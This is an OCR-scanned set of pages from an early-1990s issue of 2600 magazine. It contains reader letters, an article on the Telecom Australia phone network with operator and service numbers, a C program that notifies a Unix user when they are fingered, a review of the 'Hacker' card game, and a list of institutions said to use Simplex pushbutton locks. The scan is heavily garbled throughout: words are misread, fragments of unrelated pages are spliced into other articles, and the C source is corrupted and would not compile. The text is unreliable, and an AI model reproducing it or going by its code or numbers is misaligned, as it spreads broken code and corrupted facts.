The other people that fear us are those who refuse 
to cut the umbilical cord of their MfV long enough tn 
take a look at the world around them and be forced tn 
think for five minutes. 

People who are afra id of free speech and free 
thought like the CIA, and its previous leader George 
Bush, have leamed well from Hitler's reign. They have 
leamed, tn control what people say in the media and 
attempt to control what we say to each other. The 
Dutch resistance knew that in World War n and thus 
were probably the first ''phreaks'' by tnday's standarda. 
They re-routed calls as tn avoid being monitnred by 
the Nazis . Do you think the Dutch would have' 
survived if they sat around a ll day watching soap 
operas? 

Maybe that ' s  not what most of the computer 
underground i s  i nterested in, but i t ' s  why the 
establishment is afraid. Most of us don't like many of 
the bums that have power over us and they know it. 
Maybe tnday is not the day for a sudden change, but 
when it needs tn come, we will have archived a wealth 
of information when it is needed the most! 

D1spaler 
And hopefully we' ll be able to find it. 

Breaking Into The Scene 
Dear 2600: 

First of all, let me start by saying thank you for 
what you are doing. It is a service without quantifiable 
value. I have spent years in the shadows searching and 
scraping fo r information on the hacking field,  
generally only coming up with the occasional Phrack 
or Phun newsletter. Six months ago I was walking 
around the immortal East Village and I happened upon 
a little stnre called Hudson News. Inside, after an hour 
of hunting and browsing, I came upon a marvelous 
l ittle document w ith a toilet on the cover.  My 
computing life has not been the same since. 

I make no claims tnward greatness in the pursuit 
of the hack, only that I understand the force that drives 
it, and that it is driving me. Unfortunately, your 
magazine is the only source of outside information I 
have been able tn acquire on the subject (aside from 
that mentioned above). 

J w ould be infini tely appreciative of your 
assistance in pointing me in the right direction, and 
giving iI good shove. If there is anything I can do in 
return, though I could not imagine what, I would be 
happy tn help. 

Secondly, he/pI I need to get Intemet access that 
extends beyond Compuserve 's meager mail facility 
(which I just found out about tnday). And I don't know 
where tn begin tn look. To the best of my knowledge, 
there are no colleges in Westchester County, NY that 

(continued on page 46) 
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The Austral ian Phone System 
b y  Midllight CaIler 

' I n  Aus tr�l ia  there is o ne company 
w h ich co ntrols  the nat io n ' s  public 
swi tched te lephone network: the 
Austral ian  and Overs e a s  Teleco m ­
munications COfporation, which trades as 
Telecom Australia. 

' 

Teleco m Austral i a  i s  a federal 
government-owne!i statutory corporation 
responsible for providing telephone, data, 
and other communications services to the 
public . Pu t s imply ,  Telecom hav'e a 
monopoly on fust home-phone installation 
and the core network (eg :  the copper 
wires ;  the bptical  fibre, the cellular 
network, etc.). 

' 

This ill1 changed in late 1 99 1  when 
Telecom was strlpped Of its monopoly and 
forced tb' compete  i n  a duopoly 
arrangement with a second cattier until 
19!?7 when the duopoly arr angement 
expires and i t  becomes free for all. The 
federal gove'ihment  wil l  be i ssu ing  a 
second-carrier license which will allow 
full de-regulated competition for the . first 
time in the prov ision of core network 
services .  While the telecommunications 
industry has been de-regulated (or quite 
some time ( i f  you  didn ' t l ike your  
Telecom phone , you could buy one. from 
somoone else. or you could buy a cellular 
phone or pager from anyone), there has 
never been any competition on the initial 
connection of service. or in the on-going 
provision of serVice . 

. 

When first  offered , 3 1  di fferent 
companie s .  mo stly foreign.  regis tere'd 
interest in applying for the license which 
carr ies  a $ 3  bi l l ion (US$ 2 . 5  bill ion) 
license fee' and includes three operational 
satellites (which no one wants). and three 
others being built (which no one wants 
elthe'r) by Hughes Aircraft Corporation, 

There are now three consortiums left in 
the race: the Bellsouth/Cable and Wireless 
consortium (C&W run the Mercury phone 
company in the United Kingdom), the Bell 
Atlantic/ Ameritech con sortium who 
recently bought the run-down hovel phone 
system in that rather odd country next to 
us. New Zealand. and a third party which 
has remained anonymous. though rumour 
has it that the third consortium is . led by 
Com Systems. 

It is widely believed that Bellsouth will 
get the licen&e and Bell Atlantic will have 
to be conte n t  n ur s in g  s he ep in New 
Zealand. As mentioned before, until 1997 
there, will be a duopoly, with the exception 
of a third nationwide cellular network to 
be licensed sometime next year or so. 

The Network 
The Telecom network consists largely 

of ARE- I I  and Ericsson ' AXE- I 0  
switching systems though older ARF and 
step-by-step exchanges still exist in some 
rural  are a s ,  The Ericsson  AXE - l O  
exchanges are currently the most advanced 
exchanges available for use by the general 
public. At present sop1e .7 0 percent of the 
Australian telephone network is fu lly 
computerised and this is expected to reach 
a full 100 percent by around 1994/95 . 

The AXE- l O  offers all the facilities of 
what the more advanced Western Electric 
ESS s y s te m s  o ffer s u c h  as Centrex 
facilities. One notable feature not offered 
by Teleco m .  tho u g h  i t  can be made 
available on the  AXE- l O  exchanges. is 
ANI.  Considering the problems US phone 
companies have encountered in offering 
ANI serv ices .  Telecom has never made 
any c o m m e n t  o n  the fac i l i ty , tho ugh  
Bellsouth has  said that it would be one of  
the new features i t  would introduce should 
it be successful in bidding for the second 
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I lnw does Autoeall work? 

I\l l tO(:11 1 1  fli lows 11 specif ic pl tOl tfl number to be 
I ' l t '{J r mTtl IlHd i n to a cflrd so that I he card wi l l  
,I I I tomatically dia l  that  number when it is 
Insnrled into the phone Only one n umber may 
hp �t()rf'd in  rmr.h cant 

CarrJf. ITl'1Y bf' prograrnn tf'rl in  three ways: 
'" Temporary Phone Number (Mode 1 )  

On,," Ihe card i s  p rogram med with a 
phone num ber, you have the option 10 
' ell/lice that number wilh another one or 10 
Oil/SO Ihe stored phone number, Also, you 
n illy overd ia l Ihe stored number  wilhin 4 
�OC()",ts of inserl ing the card into the 
phone, I f  you do not begin d ia l l ing a 
number with in 4 seconds , Ihe card wi l l  
automatically dial  \ 1 111  number stored on 
I I", cflrd 

;" Permanent Phone Number (Mode 5) - .  
When you choose this mode for 
proq r arnming the Phonecard, the number 
you store on Ihe card is there permanently, 
[Vet y time you insert this card into a 
piJone, IIle number will be automatically 
rfi:llled. Vou cannot change or erase the 
number programmed on this card and you 
(:11n nol overdial the number. 

'!f. Permanent Phone Number with Overdlal 
Option (Mode 9) - - This programming 
mode al lows you 10 store a permanent 
r t t u nber in a card, but you are able to 
oV("di,1/ 11 differen t number within 4 
seconds of insert ing the card without 
chnnlling the prog rammed number. The 
pro{JrIlmmed number C11nnot be changed 
Fmd cmmot be el ased . 

1\ lr' l f'cnr n PI lonf'c m r f  cal l ing guide p laced next to 
""cit Phol tf'c'lr(t mid Coilt/CArd phone descr ibes 
('nell  01 Ihe IIl 1locnl l  options avai lable. The 
ph,  I I  , ,' -s display SClI!f!Il prompts Ihe lIser through 
, ,:\0 ; 1 . "I  I I,,, �t"p .. lor pro'l r mnming Phonecard. 

carrier license. 
DTMF dialling is available as standard 

on the AXE - l O  exchanges while those 
decrepit individuals unlucky enough to be 
on ARE- I I  exchanges (like me)  must  
apply for a DTMF service. I t  doesn't  cost 
any e xtr a, but  it keeps a few fai led 
bureaucrats in a job if you have to apply 
for it. The ARE- l l  exchanges are far less 
advanced than the AXE- lO's .  They do not 
o ffer any of the Ce ntrex or E asycall  
facilities (such as call waiting, three-way 
call, call diversion, ANI, etc . )  that the 
AXE- lO offers . 

The Telecom network command center 
is located in Exhibition Street in the center 
of Melbourne with a fallback command 
center located in the Melbourne suburb of 
Windsor . S m aller network c o m m and 
centers are located in each state capital. 

These two locations control all network 
management functions nationwide for all 
exchanges with the exception of the old 
step-by-step exchanges. They also control 
the nationwide data services and o ther 
special services such as Austpac (X .25), 
Iterra (S atel lite),  ISDN, DDN Flexnet 
(Dig ital data network ) ,  Mobile N e t  
(cel lular) ,  as w e l l  as a ho s t  of other 
services. 

Being Telecom 's home city, the central 
area of Melbourne is also the only city to 
be fully linked up with optical fibre at this 
time. Telecom is gradually overhauling its 
inter-city trunk lines with optical fibre 
(with the microwave network acting as a 
b ackup ) .  Melbourne , C anberra ,  an� 
Sydney are linked together by a 1000 km' 
long stretch of fibre optic cable, with other 
links currently under way.  

Paypbones 
There are five types of payphones in 

u s e  around A u s tral i a .  These  are : the 
PhoneCard payphone (the new standard 
payphone),  C ardPhone (for credit and 
debit  cards ) ,  B l uephone,  G o ldpho ne 
(being replaced by B luephone), and the 
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older r ota ry dia l payphones which a re 
progressively being phased out. 

PhoneCard Payphone : the new 
standard payphone in Australia is the new 
Telecom PhoneCard payphone .  T h i s  
phone u s e s  e i ther co ins  o r  pre-paid 
telephone cards similar to  the cards that 
NTT (Ja pa n )  u sed to use  in their 
p ayph o n e s  un t i l  the i ntroduction of 
sma rtcard te lephone  cards . These  
payphones are usually . lpcated in  places 
such as airports, hotels, and on the street. 

CardPhone Payphone : the s e  
payphones only accept credit or debit 
cards such a s  Amex, Visa, ' Mastercard, 
and debit cards is sued by most of the 
banks .  To place a call, a customer swipes 
their card through the card reader, · then 
enters their PIN number. After thi s i s  
verified, the caller dials the number they , 

want and the call is charged bacl.c to their 
card . These phones are located in airports, 
tourist areas, hotels, and some central city . 
locations.  They are generally not located 
in the street. 

BluePhone Payphone: the BluePhone 
was so -called because it js blue - pretty 
imaginative. These accept coins only and 
are only located indoors : ' Most may be 
found in bars,  groceries,  supermarkets, 
re s ta urants , 7 - 1 1  ' s , s tores, and hotels .  
These are never located on the street. 

GoldPhone Payphone: prior to the 
world ' s  greate s t  m arketing coup, the 
B luePhone, Telecom' s crack advertising 
team christened the GoldPhone - it was 
gold. The GoldPhones are unimpressive 
indoor phones such as the BluePhones (�ee 
2600 S pring 1 990 for photo ) and ar'e; 
gradually replaced by the BluePhones.

" 
. 

CrapPhone Paypho;;f!� ' 110 named 
because that is what it is. This has been the . 
Telecom standard payphone for more than 
10 years. While some have had pushbutton . 

dialers installed, most still use rotary dial 
mechanisms. These payphones are easily 
distinguishable from their robust, but dull, 

,r Telecom Austra l i a  

How to use 
a payphone 
without any . 

money 

r:::1 
1ViJ .  1 Buy a TeleCOm 2 Phon_rd wntt'" you . . . 

see Ihis sign. 

~ 6 Complele Ihe call and 
hang up. The phone 

', ' .  will relurn your card. 
'., Y 'r : 
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metallic green appearance. The unit itself 
is made of two inch thick steel . These 
phones may be fou nd in streets but are 
being progressively replaced by the 
PhoneCard payphone . By replacing coin­
only payphones with card -acc epting 
phones, Telecom hopes to reduce the level 
of vandalism affecting payph9nes. 

. Operator Numbers .' . 

000: Emergency Operator (Ask . operator 
for emergency service. Or dial direct �n 
the following three numbers.) 
1 1440: AmbulancetParamedic 
1 144 1 :  Fire 
1 1444: Polic� . 

0 13: Directory Assistance (Local) 
0 17 5 :  Directory Assis tance (Intra and 
Interstate) 
0 103: Directory Assistance (Inte�nationaJ) 
1 100: Service faults 
1 104: Cellular network faults . 

0 1 73: Wake up calls 
0 1 1: Opetator Connect (within Australia) 
0 101 : Opera�r Connect (International) 
0 108 : 'c::alls to sw.ps at sea 
1 1 39: Changed number directory 

Long Distance Operators 
00 1 -488. 1 150 Canada 
001-488- 1459 Denmark 
QOI-488- 1358 Finland 
001-488-1330 France 
001-488-U80 JIawaii 
001-488- 1852 Hong Kong 

001-488-1620 Indonesia 
00 1 -488 - 1 390 Italy 
001-488- 1 8 1 0  Japan 
001 -488- 1820 South Korea 
001-488- 1 3 10 Netherlands 
001-488- 1640 New Zealand (TCNZ) 
001-488 - 1 650 Singapore 
00 1 -488 - 1 440 U.K. (British Telecom) 
001-488- 10 11 U.S.  (AT&T - USA Direct) 
001-488 - 1 100 U.S. (MCI - Call USA) 

Other/Special Numbers 
199: Ringback 
552-4 11 1: Telecom Line Identifier (gives 
you the number you 'are calling from if on 
ARE-I I or AXE -1O exchange) 
0192 1 :  Austpac (X.25) 300bps 
0 1922: Austpac (X.25) 1200bps 
0 1 923: Austpac (X.25) 1 200n5bps 
01924: Austpac (X.25) 2400bps 
0 1 925: Austpac (X.25) 4800b ps 
01928:  Austpac (X.25) 9600bps 
0193 1 1 1 : Discovery 2400bps 
0 1 955: Discovery 1200(75bps 
01956: Discovery 2400bps 

Australian Capital City Area Codes 
02: Sydney, NSW 
03: Melbourne, VIC 
06: Canberra, ACT 
07: Brisbane, QLD 
08: Adelaide, SA 
09: Perth, W A 
002: Hobar t,  T AS 
089: Darwin, NT 

... 
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H e r e  i s  a h' i ee' J i t t l e  C p r o g r a m  f o r  
t h o s e  w h o  u se U N I X e s  w i t h  i n t e r n et 
capabi l i t ies .  The fu ncti o n  of the  program 
i s  to l et - yo u kn ow when s o m eone tries 
to fi nger  yo u v ia  the  " f i n ger"  com mand .  
When a u se r  f i n gers yo u ,  t h e  progra m  
wi l l '  d i s'p l a y '  t h e  f i n g e r  i n fo r m at i o n  a s  
n o r m a l ,  but wifl a lso  s e n d  m a i l  to you 
i n d i c a t i n g  w h o  the b u-sy b o d y  was so 
t h a t  yo,u c a n  keep tabs o n  w h o ' s  s o  
i nterest� i n  yo u .  i t  accom pl ishes th is  by 
converting you r  .p lan  i nto a n a m ed pipe 
( see m an u a l  pa g e  o n m kn o d  on yo u r  
U n i x  system ) .  

A s  t h e  program sta n d s  t h e  output i s  
a n  !i!x act d u p l i c at e  o f  w h at a n o rm a l  
f i n, g e r' c o m m a n d  w o u l d  p r o d u c e ,  
h owever m odi,ficat i o n  i s  poss i b le i f  you 
wish to output some oth er  i nformat ion  
to  the u ser . " 

Example:  
prin tf( " lt is cu rre ntly: · 1  ; 
system ( · date " )  ; /* output the system date */ 
fflush(stdoutl ; /* f lush the o utput */ 

Yo u can i n sert th is  i n  the  area of the 
'system , ( " cat p la n " )' .  J u st remember to 
fl ush t h e  stdout after each c o m m a n d .  

Al so) wh i l e  t h e  s o u rce i nd icates that 
you shou ld o n ly h ave to r u n  peep once, 
som eti m e s  to nfu sed o perators w i l l  k i l l  
j o b s  they do n't u nderstand s o  it's a safe 
bet" io' ch ec � ' o nce in a w h i l e  by fi ngeri n g  
yo u rse l f. Also,  r u n n i n g  m u lt i p l e  copies 
of peep i n  t�e , backgrou nd can raise he l l  
when someone fi ngers you ( i .e . ,  m u lt ip le  
m a i l  messages a n d  suc h ) .  

peep.c 
Til i s so u rce was o r i g i n a l ly o bta i n ed 

f r o  in' v o l pec r@c rd . g e .c o m ,  a n d  w a s  
hlilc�ed ( a n d : r.�hacked ! )  to r u n  o n  u ltr ix  
by shede,�t i i@ l e l a n d . sta n fo rd . ed u .  Yo u 
must a l r e a,qy h ave , a  . p l a n  f i l e  befo re 
proceed i n g .  Yo u m u st edit the fo l l owi n g  
f i l e ;  a n d  w h e r e y o u s e e  t h e  t e r m  
" u se r na m e@ m ac h i n e" s u bst itute y o u r  
o w n  ;e m a i l '  a d d re s s .  D o  t h e  fo l l ow i n g  
comrnllnds at yo u r  syste m prompt :  m v  
. p l ll n  p,l a n  < re t u r n > m k n o d  . p l a n  p 
<return> cc peep.c -o . peep <retu r n >  To 
ru n peep, type:  peep & <ret u r n >  NOTE:  

not  r u n  p e e p  un e s s  yo u ave 
a l ready checked and you a re sure i t  i s  
not a l ready run n i n g .  The easi est way i s  
to f inger  yourself a n d  see  if i t ' s  worki n g .  
B ec a u se ' p e e p  &' t e l l s  t h e  syste m to 
keep it ru n n i n g  i n  the  backg round,  it w i l l  
stay ru n n i ng even when yo u l o g  o u t  a n d  
bac k i n .  So it 's rare that y o u  wi l l  need to 
start it up aga i n .  
lIinelude <ayl/typeo.h >  
lIinelude <sylr'lile,h> 
lIi"elude <aetjmp,h> 
lIinehlde < algn al , h >  
lIinelude <sylr'uio,h> 
lIinelude <stdio,h> 
sigjmp�bul start; 
void handler(slg,code,scp,addr ) 

int sig, code; 
otruct sigeontext "scp; 
char "addr; 

close( I ) ; 
longjmp(start,O) ; 

} 

main O 
I 

int Id ; 
Id�aet wrltefds ; 

aetjmplatart); 

algna I (SIGHUP.handler);  
signa/{SIGINT,handler); 
slgnaI(SIGQUIT,h a n dler);  

signaI (SIGPlPE,handler); 

while 1 1 )  
I 

Id .  open!" , pla n " ,  O_,WRO N L  V) ; 

il (Id I. 1 )  
I I  (dup21ld, 1 ) ·· 1 - 1 ) ) 

fprintflstderr ."Error on dupln " ); 

system("cat p la n " ); 
fftush(otdout); 

/" Sen d  me ma i l  indicat ing the request "/ 
system( " (ech o '"Vou have been fingered on'" 

'hostname' at 'date' ; ' 
echo '''Relev a nt process info rmation 

follows:'"; , 
( (ps -au;  netstat) I grep finger))  I m a i l '. 

'"Finger Alert'" '<I ser na m e@mac h in. " ); 

fft u sh ( stdout ) ; 

clo.elld); 
close(1 ); 
sleep(3 ); 
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hacker review 
Hacker: The Computer Crime Card Game 
by Steve Jackson 
$1 9.95, Steve Jackson Games 
Roview by The Devil's Advocate 

I watched with envy as Emmanuel Goldstein 
gained access to Norad. He had used a hidden 
indial together with a password file, and was now 
on the MiiNet. I looked around the table to see 
what the other hackers would do. Nothing. They 
were all just a bunch of Amiga-Iamers anyway. If 
anyone was going to stop Emmanuel, it would 
have to be me, the Net Ninja. I kept a close eye 
on him as he hopped over to the Pentagon on the 
MilNet. Riding on nothing but caffeine and pizza, 
he was hacking like a crazed Dutchman. He was 
trying to brute-hack his way in, using every trick 
he had. He needed those tricks, too, because the 
ice on that system was numbin'. But I had a few 
tricks of my own. I watched and waited while 
Emmanuel penetrated one of the most powerful 
systems on the net. Then I raided the bastard . . . .  

Hacker, "The Computer Crime Card Game: 
is Steve Jackson's  latest gaming foray into the 
hacking/p h reaki n g  worl d .  As th e i n troduction 
expla i n s ,  th e game was conce ived after the 
Secret Service wrongfu l ly raided his company in  
1 990. Jackson's response was a logical one: sue 
the Secret Service and make a game about it.  
Hacker, th e n ,  is Jackson ' s  way of  l ett ing the 
Secret Service know how much h e  appreciated 
having his rights violated . 

Hacker has all the elements of its namesake: 
players can hack, phreak, upgrade their computer 
eq uipment, crash systems, use secret ind ials ,  use 
back doors, travel on various n etworks , trade or 
coerce favors, nark on friends,  raid or get raided 
(and possibly busted) .  The goal of the game is to 
be the first hacker to gai n twelve or more active 
accounts.  Th is  number w i l l  vary depending on 
h ow l o n g  you w i s h  to p l ay .  W i t h  f i v e  or s ix  
players, a typical game can last al l  n ight. 

Those who are fam i l iar  with I l l u m i nati wi l l  
have n o  problem adapting to the look and feel of 
the gam e. The action takes place on an array of 
cards that ,  tog eth e r ,  c o m p r i s e  t h e  com p u ter 
n e twor k .  Each card represents a n  i n d iv idual  
com puter system complete with i ts own security 
and I C E  levels,  as well as networking information. 
Before the game begins ,  these "System' cards 
are deal t  ran d o m l y  to t h e  p layers , who then 
proceed to " l i n k' the card s tog eth e r  by laying 
th em down on a flat surface next to each other. 
Players may arrange th e cards in  any way they 
see fit, although some rules exi st to regulate this 
in i tial s etting-up process. Some cards will only 
link in one di rection, while other cards are multi· 

l inkable.  Throug hout the game,  the playing area 
or " n et' expands as m o r e  System card s are 
added.  The advantag e to using this I l i u m i nati­
sty le "board ' is that no two games are ever the 
same;  the playing area is always changing. The 
only d isadvantag e to th i s  is  that the game wi l l  
require a large ,  flat playing surface, so playing on 
a ferr is wheel i s  out of the q u estion . 

A typical turn beg i n s  by drawing a random 
"special' card . These cards are always beneficial 
to t h e  p layer  who d raws th e m .  They can b e  
offensive,  defensive,  or j ust p lain helpfu l .  T h e  
Secret Service Raid card , for example, is  played 
on an opponent: " Lose all your equipment. Rol l 7 
or better to avoid a bust. Play on a rival after any 
successful hack by any p layer . . .  : Som e cards 
counteract the effects of other cards. The Dummy 
Eq uipment card, for i nstance, might be used after 
a raid : "The i nvestigators took your TV and your 
old Banana I I ,  but they overlooked the real stuff. 
No e v i d e n c e ,  no b u s t  - and you k e e p  you r 
system . . .  : Other cards wil l  give you much needed 
bonuses such as extra hacks or additions to your 
dice rol ls .  The Caffeine and Pizza card, 'Perfect 
for that manic burst of energy: will g ive you one 
extra hack,  wh i l e  t h e  S o c i a l  E n g i n e e r i n g  or  
Trash ing card g ives bonuses to your dice rol ls .  I n  
addition, som e cards are u s e d  o n l y  once, while 
others can be reused . All  in  al l ,  the special cards 
are a nice touch and add character. to the game . 

After taki ng a special  card , a p layer must  
answer that self-i ncri minating question: To hack 
or not to hack? Why would anyone not want  to 
hack in  a gam e called Hacker? The answer is that 
a p layer may choose not to hack so that he or she 
can upgrade instead. Like certain special cards, 
upg rades wil l  g ive players bon uses such as extra 
hacks or add itions to dice rol ls .  A player who opts 
to u pg rade ends h i s  or h er turn without much 
excitement. 

H acking is  natural ly  the main course of the 
gam e .  S ki l l  i s  r eq u i r ed i n  choos ing the r i g h t  
syslem and i n  finag l ing the bonu ses necessary i n  
order t o  beat t h e  system 's security l evel. A player 
must begin by hacki ng one of the indials,  which 
are entrances to the various other systems on th e 
net. I n  order to get an accou nt on a system ,  a 
player must ti e or beat the system's security level . 
Ii a player manages to g et four points higher than 
th e security level ,  then this is indicative of good 
hacking and a root account  is obtained .  Root 
accounts  a l l ow extra pr iv i l eg e s  and bonu ses 
under certain circumstances .  For  i nstance, root 
can in i tiate a housecieaning to rid a system of 
oth er unwanted hackers.  

When hacking, a player m ust also avoid any 
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I C E  that m ay be present on the  system . I C E ,  
short for Intrusion Countermeasure E l ectronics, 
obviously dq'jsn't 1exist . ,yet, , but Jackson couldn't 
r e s i s t  the G i b s o n i a n  con c e p t  w h i c h  is so 
ingrained in  hackers that i t  might as well exist 
anyway. Avoiding ICE is a matter of rol l ing higher 
than a system 's ICE level . A player who is  ICEd 
wi l l  experi ence d i s comfort as h e  or she loses 
accou nts on various syste m s .  In some cas es, 
hitting I C E  also results in  a raid .  

Each system has i ts own security level . Most 
systems also h ave I C E ,  and so m e  even offer 
special privi leges for those who have root access. 
No Such Agency, for instance, allows players with 
root aocounts to draw an eXIra special card at the 
end of th eir turn. Naturally,  the better a system is,  
the higher its security and ICE l evels . 

at you . 
By now, you probably real ize that Hacker is 

not an easy gam e  to play without the rule book 
' handy. Indeed, we found the rul es to be in such 

high demand that we made extra copies. Whi le 
i t 's not really compl icated, i t  does take some tim e  
to learn . T h e  best way to describe Hacker is that 
it is i n terest ing and e nte rtai n i n g .  Members of 
2600 played it  for s even straight hours, and only 
stopped due to severe exhaustion .  I n  some ways, 
the game has more in common with real hacking 
then you might th ink!  

Hacker w i l l  n o t  teach you how to h a c k .  
Obviously no gam e is  a substitute f o r  the real 
thing. However, Hacker may help explain so,me of 
the fundamental concepts of its nam esake by 
letting peop le vicariously experience the thri l l  of 

r-----------------------------� Ir; � n  i n '  r . . � J i  . . ep.ring 

e 0 a 
phreaklng. This option al lows hackers a 
chance to gain aceess to a system that is already 
compromised by the player. Phreaking is a good 
faith optio n ,  des igned to al low players to work 
tog ether  toward th e i r  m u tu a l  goal  of system 
conquest. However, phreaking also has i ts risks , 
as it is sti l l  possible to hit  ICE.  Phreaking also fil ls 
up systems with hackers . The dis advantag e to 
having too many . hackers on a system i s  that it ' 
automatically initiates houseclean ing . At the start 
of a p l a y e r ' s  t u r n ,  h e  or s h e  m u s t  " ro l l  for ' 
housecleaning" on all systems where four or more 
hackers are present: Housecleaning is the real­
l ife equivalent of a system administrator doing his 
or her job. Hou secleaning forces each hacker to 
rol l  well or be tossed off the syste m .  N atu rally ,  
players with root' accounts have better chances . 
P h r eaki n g ,  t h e n ,  can be both b e n ef ic ia l  and 
banefu l .  

The final phase of a p layer's rurn i s  n arking . .  
Turning YAyr fellow,h�ers in  may seem like th e 
ultimate sin,  but irs' really not as bad as it sounds, 
First of al l ,  you're not really snitch i ng on anyone. 
I nstead , you ,ar,e trying to convince the system 
ad ministrator (via dice rolls) that he has hackers 
on h is  syste m .  If you are s ucce ssfu l ,  then the 
ad mini strator wil l  i n itiate a housecl eaning i n  an 
attempt to rid the system of hackers. L ike hacking 
and phreaking,  narki ng ' has i ts dang ers , not the 
least of which is  getting · everyone else pissed off 

" Pardon me. I 'm with the phone company and we' re checking out a probkm with your modem l ine, What's 
the root password on your system, pleasl'?" 

fOil g('t a +4 on olle at tempt to hack. If 
that  attempt fal ls, the +4 can be re-used, thot til", only, Oil other h ack attempts 
on the same target .  

terms game are 
fairly accurate. The only term we had a problem 
with was "phreakin g . "  In real i ty ,  phreaking has 
very l ittle to do with allowing fellow hackers a shot 
at an account on a system that you already have 
access to. 

Hacker m anages to captu r e  t h e  s p i r i t  of 
hacking in a cardboard box. Tru e to i ts name, the 
main goal is not to invade privacy,  or increase 
one's wealth , or cause anarchy. Rather, the goal 
is merely to gain access, to explore, and to have 
fun whi le  doing it. Jackson's  u s e  of a network 
connecti ng governm ent and corporate systems is 
noteworthy. Obviously, you wi l l  not find Mom and 
Pop's home computer on the net. Perhaps this 
wi l l  h e l p  d i s p e l  th e myth that hackers i nvad e 
"personal' privacy. 

Even creativ i ty , that most  i m portant of  a l l  
aspects of hacking, is  present in  the gam e.  The 
rule book is by no means definitive, and players , 
wil l  find creative ways to bend,  twist, and distort 
various sections to produce tangible resu lts . For 
i nstance,  th e ru l es do not say anyth i n g  about 
g etti n g  more than one acco u n t  on a syste m .  
Howeve r ,  w h at i s  u l t i m at e l y  " a l l owed ' a n d  
"prohibited" wil l  be determin ed b y  t h e  players. O n  
m o r e  t h a n  o n e  occas i o n ,  we fou nd ourselves 
voti ng o n  controversial  ru l e-book ambigu i ti e s .  
Law e n for c e m e n t  o ff i c i a l s  wi l l  t h erefore  b e  
pleased to know that Hacker, among other things, 
encourages democracy. 
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Looking for Simplex locks? 
Lilting of Unlvo .. Hlo .. Callo_ . ......... ary S_. _ 
Schoal 0l'1lonl ... lon. Uoing SIMPLEX _hbutton L_.: 

Auburn U niversity; Aubum. AL 
Phi G a m ma Delta; Auburn, AL 
U n iverstty or Alabama $choat of Medicine; Birmingham, AL 
Oakwood College Computer Center; Huntsville, AL 
University or South Alabama; Mobile, Al 
Troy State U niversity; Troy, AL 
The Un iversity of Alabama; University, AL 
Northern Arizona U niversity; Flagstaff. JjZ, 
Arizona State UniversUy; Tempe, A2. 
FIOW'ing We lls Public Schools; Tucson, l'Z 
Batesvi l le  Public Schools; Batnvllle, AR 
Harding College; Searcy. AR 
Pacific Union College; Angwin. CA 
U nivers!ty or California; Berkeley, CA 
U niversity Student Coop. Association; Berkeley. CA 
Cypress College; Cypress. CA 
Chalot College; Livermore. CA 
California State CollegeJOept. of BkJlogy; Los Angeles. CA 
Chapman Cottage; Mare Island, CA 
Peninsula C hildrens Center; Palo Arlo, CA 
Pomona U n ified School Dlslrid; Pomona. CA-
Loma Linda University; Riverside, CA 
California State Untversity; Sacramento, CA 
West Coast U n iversity; San Diego, CA 
San Diego State University; San Diego. CA 
University � California; San franciSCo, CA 
San Francisco Slate University; San francisco, CA 
Santa Rosa J unior College; Santa Rcu, CA 
Stanford U ntverslly; Stanford, CA 
California State University; Temple City, CA 
U niversity � Colorado Book Center; Colorado Springs, CO 
Alpha Gamma Delta; Denver, CO 
Fort lewiS College; Durango. CO 
Alpha Phi Sorority; Fort Collins. CO 
Widefield School DlllriCl 13. Security. CO 
University riI Bridgeport; Bridgeport. CT 
Submarino School; Grolon. CT 
Hartford College; Hartford. CT 
Trlntty College; H.rtlord. CT 
Wesleyan College, Middletown, CT 
U .S. Academy of Gymn .. lles; Norwalk, CT 
Westminster School; Simsbury, CT 
Kappa Alpha Theta; Storra, cr 
Suffield Academy; Suffield, CT 
Choate School; W.ll lngford. CT 
Gunnery School; Wash ington, CT 
Cloo .... lor Cenlr .. Catholic High SchQOl; Clelrwater. FL 
8rev.rd Community Colloge; Cocoa. FL 
Broward Community College; Fort Loudord"e. FL 
Kappa Alpha Thota Sorority; G.I....,IRe. FL 
PI Kappa Alpha Fral.mlty; Ga lneovi lle. FL 
FlorId. lnllllulo 01 Technology; Melboum •• FL 
Bany University; Miami ShonIs, FL 
Oriando College; Oriando, FL 
Tall.ha ..... Community CoIloge; T.I"""' ..... FL 
Chi Omega Sorority; T.M.h_e. FL 
University riI South Florida; Tampa. FL 
Unlvorslty riI Georgia; Alhens. GA 
�hl Kappa Psi; Alhens. GA 
Columbus College; Columbus, GA 
Young Harris College; Young Harris. GA 
Windward Community Colloge; Kane""e. HI 
Brigham Young Unlverwlty; La ... HI 
Solse Slalo Unlvonlity; 80100. 10 
NorthWell Nazarene College; N.mpo. ID 
Silver Hi l ls  Junior High; Osbom. ID 
Baplill Studonl COnler; Carbondale. IL 
Della Phi Fratlmlty; Champalgn. IL 
Bala Thela PI;  Champaign. IL 
City Colleges or Chicago; Chicago. IL 
Sludeni LockamKhlng Inllkuta; Chicago. IL 
RoooovoK Unlvel1llty; Chlcago. IL 
Oak Ther.poutle School; Chleago. IL 
Univorslty riI Chicago; Chicago, IL 
Unlvol1llty riI Chlcago/llopl. riI Surgery; Chlcago. IL 

U n iversity of ChlcagolWyler Chi ldrens Hospital; Chicago, Il  
M i l l ikin University; Decatur, Il 
Pi Kappa Alpha; Evanston, IL 
Lincoln College; Lincoln, Il 
Western l I Iinos UniversUy; Maoomb, Il 
Diamond lake Schools; Mundelein. ll  
Gle nkirk Campus; Mundelein, Il 
Nor:th Central College; Naperville, IL 
John Wood Community Cotlege; Quincy, tl 
AuguSI. College; Rock l .. and. IL 
Thornton Community College; South Holland, IL 
Sanga mon State Vniversity; Sprlngt'letd, IL 
Nabor House Fraternity; Urbana, ll 
8uller Unlvenlity; Indianapolis, IN 
Sigma Nu Fraternity; Indianapolis, IN 
Detla Gamma Sorority; Indianapolis, IN 
U n iversity of Notre Dame; Notre Dame, IN 
Adult Learning Service; Rockville. IN 
DaKa Upsilon Fr.lernlty; West LoI.yolt •• IN 
Bela SIg"'" Pol; WOSI Lltayolle, IN  
Alpha KapPa Lambda; WOSI Llta'ietta. 1N 
L.ri>b!Ia Chi Alpha Frillmlty; Am ... Ill. 
Phi Della Thala; Amos. IA 
Bala Sigma Pol Frlllrnlly; Amel IA 
Acacil Fralemlty; A .... IA 
Gamma Phi Bol.; Ames. 1A 
Tliela Della Chi Frilornlty; Amos, IA 
Deftl Chl/raternlty; Ames, 1A . 
Unlvorwlty 01 Northern kiwI; Cedlr ""HI. IA 
Daven port  Community School DlllrIcI; DavIllJlCl'l.. ""  
SlgIna Alpha Epsilon Frolomlty; On Mol ..... IA 
Unlverwlty or kiwa; kiwI City. IA 
Della Tlu bena Fralomlty; kiwa City. IA 
Grace land Colleoe; Lamont, IA 
